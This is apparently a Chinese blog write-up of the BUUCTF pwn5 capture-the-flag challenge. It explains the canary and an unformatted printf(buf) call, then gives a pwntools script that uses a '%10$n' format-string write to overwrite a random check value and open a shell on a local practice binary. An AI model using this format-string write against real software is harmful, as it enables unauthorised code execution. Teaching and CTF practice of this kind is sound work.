BUUCTF 第五空间2019 pwn5

BUUCTF 第五空间2019 pwn5

程序分析

国际惯例checksec一下
请添加图片描述

Ahead of main

然后打开IDA分析,IDA加载完过后,直接按F5,出现的是这些代码而不是main函数的代码
请添加图片描述
可以看到,有一个叫__libc_start_main的函数,它的参数中包含main函。程序执行时,并不是最先执行的main函数,在这之前还执行了很多初始化的代码,然后再使用__libc_start_main这个函数把main函数作为参数启动。(main函数执行完后也还会有代码执行)。
然后双击进main函数查看c语言伪代码
请添加图片描述

Canary

程序的流程很短,但是有几行关键的代码需要特别注意一下:

12 v6 = __readgsdword(0x14u);
...
...
34  if ( __readgsdword(0x14u) != v6 )
35    sub_80493D0();
36  return result;
}		

每个开启了canary保护的程序,每个函数的接近开头和结尾处,都会有这几行代码,可以看到开头处__readgsdword(0x14u)读取了一个值然后赋给了v6,结尾处再用__readgsdword(0x14u)读取了一个值,然后判断是否等于v6,其实达到的目的和canary的原理一样,详情见CTF-WIKI Canary

然后是

setvbuf

13 setvbuf(stdout, 0, 2, 0);

设置缓冲区的缓冲方式和大小,确保程序能够正常输出,这里面也还有很深的知识,有兴趣可以自行google 一个setvbuf函数和setvbuf在pwn题中的使用。

获取随机数

16 fd = open("/dev/urandom", 0);

这里涉及到了一个linux系统的知识和c语言文件读写的方法

/dev/urandom
linux会把生成的随机数放到这个文件中,大家可以输入以下命令查看生成的随机数。

cat /dev/urandom

这个地方,使用open打开了这个文件,然后把返回值赋给了fd,之后就可以通过访问fd来读取这个文件中的内容了。
以前用的read,也许是这个样子:

19 read(0, buf, 0x63u);

但是这里的read:

17 read(fd, &dword_804C044, 4u);

其实和上面也差别不大,这段代码的含义是从fd中读取4个字节到 &dword_804C044 中,fd就是刚刚打开的文件流,&dword_804C044就是一个在bss段的全局变量,如果去掉符号(包括函数名,变量名等等)bss段的变量都会被整成这个鬼样子,可以自己按N键重命名变量。

关键点

前面说了那么多,应该能搞清楚后面比较关键的地方要怎么个打法,才能抓住要害:

19 read(0, buf, 0x63u); //读入数据到buf中
21 printf(buf);         //打印buf
23 read(0, nptr, 0xFu);//再读入数据到nptr中
24 if ( atoi(nptr) == random ) //转换成数字后的nptr与读取的随机数比较
25  {
26    puts("ok!!");
27    system("/bin/sh"); //如果两个数相等,直接拿到shell
  }

这里如果我们满足转换成数字后的nptr与读取的随机数相等 就能直接获得shell,但是随机的数又无法通过爆破来得到,而且有canary保护,栈溢出的难度也很大,但是,注意到第21行有一个奇怪的printf ,它没有参数,就直接输出了buf,而这个没有参数的printf,就成了我们pwn掉这道题的关键点

格式化字符串漏洞

关于格式化字符串漏洞,这里有篇文章写的比较好,可以参考一下
格式化字符串漏洞

看完之后就能大概清楚漏洞的原理以及大概的利用方法了,有兴趣还可以继续深入一下看一下printf还会执行什么操作。

编写EXP

我们可以利用格式化字符串漏洞,把输出的字符的输出存储到放随机数的地址。

获取需要的地址

可以通过在IDA中双击这个变量,看到它的地址,如果是临时变量,则会显示该变量在栈中的相对位置,但是地址有时候并不一定完全准确,可以用动态调试或者一些其他的方法获得全局变量的地址。
请添加图片描述

获取参数位置

在格式化字符串漏洞中%p可以把参数以16进制显示出来,可以通过输入一个作为识别的四字节字符,还有很多的%p来确定那个四字节字符为第几个参数
在这里插入图片描述
这里用aaaa来作为特性字符串,其中每个16进制数,nil都为一个参数,从打印出来的字符串后开始数可以看到,在第十个位置处为a的ascii码61

exp解析

from pwn import * #导入pwntools库

context.log_level = "debug" #设置信息显示模式为debug模式

p=process('./pwn5') 

addr=0x0804C044 #找到的变量地址

payload = p32(addr) +  b'%10$n' #通过测试得到偏移。

p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd:",'4') #因为一个32位地址为4个字节,所以会输出4到地址中

p.interactive()


  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值